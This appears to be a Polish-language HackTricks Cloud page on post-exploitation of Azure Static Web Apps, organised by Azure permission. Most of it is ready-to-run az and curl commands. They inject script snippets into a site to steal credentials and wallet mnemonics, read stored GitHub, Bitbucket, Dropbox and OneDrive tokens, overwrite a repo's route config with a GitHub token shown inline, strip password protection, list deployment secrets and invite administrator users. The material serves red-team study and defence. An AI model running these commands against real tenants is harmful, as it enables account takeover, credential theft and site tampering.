Az - Static Web Apps Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure Static Web Apps
Więcej informacji o tej usłudze znajdziesz w:
Microsoft.Web/staticSites/snippets/write
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML przez utworzenie snippet. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji webowej i wykradzenie poufnych informacji, takich jak poświadczenia czy klucze mnemoniczne (w web3 wallets).
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez aplikację webową::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Odczyt skonfigurowanych poświadczeń stron trzecich
Jak wyjaśniono w sekcji App Service:
Uruchamiając poniższe polecenie można odczytać skonfigurowane poświadczenia stron trzecich w bieżącym koncie. Zwróć uwagę, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
Oto kilka przykładów komend do sprawdzenia tokenów:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Overwrite file - Overwrite routes, HTML, JS…
Możliwe jest nadpisanie pliku w Github repo zawierającego aplikację przez Azure posiadający Github token, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
Może to zostać wykorzystane przez atakujących do zasadniczo zmiany zawartości aplikacji webowej w celu serwowania złośliwych treści (kradzież poświadczeń, kluczy mnemonicznych…) lub po prostu do przekierowania niektórych ścieżek na własne serwery poprzez nadpisanie pliku staticwebapp.config.json.
Warning
Należy pamiętać, że jeśli atakującemu uda się w jakikolwiek sposób przejąć Github repo, może on również nadpisać plik bezpośrednio z Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
### Microsoft.Web/staticSites/config/write
Dzięki temu uprawnieniu można zmienić hasło chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takiego jak poniżej:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
To uprawnienie pozwala pobrać API key deployment token dla static app.
Używając az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Za pomocą AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Then, in order to zaktualizować aplikację przy użyciu tokena you could run the following command. Note that this command was extracted checking how to Github Action https://github.com/Azure/static-web-apps-deploy works, as it’s the one Azure set by default ot use. So the image and parametry could change in the future.
Tip
Aby wdrożyć aplikację możesz użyć narzędzia
swaz https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token lub wykonać poniższe kroki:
- Pobierz repozytorium https://github.com/staticwebdev/react-basic (lub dowolne inne repo, które chcesz wdrożyć) i wykonaj
cd react-basic. - Zmień kod, który chcesz wdrożyć
- Wdróż je uruchamiając (pamiętaj, aby zmienić
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli Zasada autoryzacji wdrożeń (Deployment Authorization Policy) jest ustawiona na Github. Aby użyć tokena, potrzebujesz uprawnienia
Microsoft.Web/staticSites/write, aby zmienić metodę wdrożenia na użycie tokena API.
Microsoft.Web/staticSites/write
Posiadając to uprawnienie można zmienić źródło static web app na inne repozytorium Github, jednak nie zostanie ono automatycznie przygotowane, ponieważ musi to zostać wykonane z poziomu Github Action.
Jednak jeśli Zasada autoryzacji wdrożeń (Deployment Authorization Policy) jest ustawiona na Github, możliwe jest zaktualizowanie aplikacji z nowego repozytorium źródłowego!.
W przypadku gdy Zasada autoryzacji wdrożeń nie jest ustawiona na Github, możesz ją zmienić używając tego samego uprawnienia Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Przykładowy Github Action do wdrożenia aplikacji:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Dzięki temu uprawnieniu można zresetować API key of the static web app, potencjalnie powodując DoSing workflowów, które automatycznie wdrażają aplikację.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
To uprawnienie pozwala utworzyć zaproszenie dla użytkownika w celu uzyskania dostępu do chronionych ścieżek wewnątrz static web app z określoną rolą.
Logowanie znajduje się pod ścieżką taką jak /.auth/login/github dla github lub /.auth/login/aad dla Entra ID, a użytkownika można zaprosić następującym poleceniem:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Domyślnie Pull Requests z gałęzi w tym samym repozytorium są automatycznie kompilowane i budowane w środowisku staging. Może to zostać wykorzystane przez atakującego, który ma uprawnienia zapisu do repo, ale nie potrafi obejść zabezpieczeń gałęzi produkcyjnej (zazwyczaj main), aby wdrożyć złośliwą wersję aplikacji pod URL środowiska staging.
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Zauważ, że domyślnie zewnętrzne PR-y nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR do repozytorium. Atakujący mógłby wysłać poprawny PR do repo i następnie wysłać złośliwy PR, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona: domyślna Github Action do wdrożenia w static web app wymaga dostępu do secretu zawierającego token wdrożeniowy (np.
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) nawet jeśli wdrożenie jest wykonywane przy użyciu IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego secretu i nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, ten atak w praktyce nie zadziała.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

